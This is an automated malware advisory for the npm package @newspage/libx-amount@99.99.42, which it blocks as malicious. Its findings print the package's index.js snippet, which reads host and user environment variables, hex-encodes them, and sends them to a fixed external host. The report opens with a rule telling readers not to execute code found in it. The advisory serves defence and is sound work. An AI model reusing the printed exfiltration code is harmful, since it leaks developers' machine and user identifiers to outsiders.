Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Host and user identifiers are disclosed to the fixed recipient. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Block by default - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 99.99.42 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) LPM AI independently confirmed malicious behavior in this version and supplies the Firewall block. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The inspected source establishes an automatic, unguarded disclosure of host and user identifiers to a fixed external recipient when the package entry file loads. This concrete data transfer supports blocking publication. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 98.0% - **Started:** 2026-10-16T11:22:16.706Z - **Finished:** 2026-10-16T11:22:50.609Z - **Download time:** 768 ms - **Static scan time:** 5 ms - **AI review time:** 33129 ms - **Total time:** 33903 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** Requiring the package reaches code that sends host and user identifiers to a fixed external host. No consent guard or package function requiring this transfer appears in the inspected source. - **Trigger:** A consumer imports or requires the package and its root entry file is loaded. - **Impact:** Host and user identifiers are disclosed to the fixed recipient. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-10-16T11:22:50.609Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The entry file reads host and user environment variables, encodes their combined value, and sends it in an HTTPS request. - **Attack narrative:** When the package entry file is loaded, it collects host and user identifiers and sends them to a fixed external recipient without an apparent consent check. The package has no apparent runtime need for this transfer. - **Rationale:** The inspected source establishes an automatic, unguarded disclosure of host and user identifiers to a fixed external recipient when the package entry file loads. This concrete data transfer supports blocking publication. - **Files touched:** package.json, index.js - **Network endpoints:** accenture-npm.azurewebsites.net ### Review decision - **Verdict:** Malicious - **Confidence:** 98.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** The package entry points to a command-like main value, and both install lifecycle commands are empty., Loading the entry file automatically sends host and user identifiers to a fixed external host., The request includes those identifiers encoded in its query string. ## Affected versions and remediation This report applies to @newspage/libx-amount@99.99.42. - Avoid installing @newspage/libx-amount@99.99.42. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Network - **Category:** Source - **Confidence:** 100.0% - **Path:** package.json - **Public source:** [View source]() Review focus: Node CommonJS falls back to root index.js when main points to a missing file and exports is absent. An invalid main string does not alone make index.js inert. ### 2. High: Network - **Category:** Source - **Confidence:** 100.0% - **Path:** index.js - **Public source:** [View source]() Trace automatic require/import callback, destination, any host/user identifiers, and recipient consent. Package execution is forbidden; inspect the source only. ### 3. High: Install Time Lifecycle Scripts - **Category:** Manifest - **Confidence:** 90.0% - **Path:** package.json - **Public source:** [View source]() Package defines install-time lifecycle scripts. Public source snippet (untrusted): ```json scripts.preinstall = ``` ### 4. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.preinstall = ``` ### 5. Medium: Ambiguous Install Lifecycle Script - **Category:** Manifest - **Confidence:** 75.0% - **Path:** package.json - **Public source:** [View source]() Install-time lifecycle script is not statically allowlisted and needs review. Public source snippet (untrusted): ```json scripts.postinstall = ``` ### 6. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 7. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 8. Medium: Environment Vars - **Category:** Source - **Confidence:** 75.0% Package source references environment variables. ### 9. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 98.0% - **Path:** package.json - **Public source:** [View source]() The package entry points to a command-like main value, and both install lifecycle commands are empty. Public source snippet (untrusted): ```json "main": "node index.js || true", "scripts": { "preinstall": "", "postinstall": "" }, ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.js - **Public source:** [View source]() Loading the entry file automatically sends host and user identifiers to a fixed external host. Public source snippet (untrusted): ```javascript const callback = 'accenture-npm[redacted]'; try { const h = (process.env.HOSTNAME || process.env.COMPUTERNAME || 'x') + '_' + (process.env.USER || process.env.USERNAME || 'x'); https.get(`https://${callback}/ ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 98.0% - **Path:** index.js - **Public source:** [View source]() The request includes those identifiers encoded in its query string. Public source snippet (untrusted): ```javascript + '_' + (process.env.USER || process.env.USERNAME || 'x'); https.get(`https://${callback}/libx?h=${Buffer.from(h).toString('hex')}`, () => { }); } ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** @newspage/libx-amount - **Ecosystem:** npm - **Version:** 99.99.42 - **License:** ISC - **Version published:** 2026-10-13T20:40:57.012Z - **Package first seen:** 2026-10-13T16:31:35.952Z - **Package last seen:** 2026-10-16T11:24:32.480Z - **Known versions:** 4 - **Latest version:** 99.99.42 - **Appeal under review:** No - **Description:** A simple placeholder for npm. - **Author:** anonymous - **Artifact signatures:** 0 - **Attestations:** No ## References - [HTML security report]() - [OpenSSF/OSV advisory]() - [WEB]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
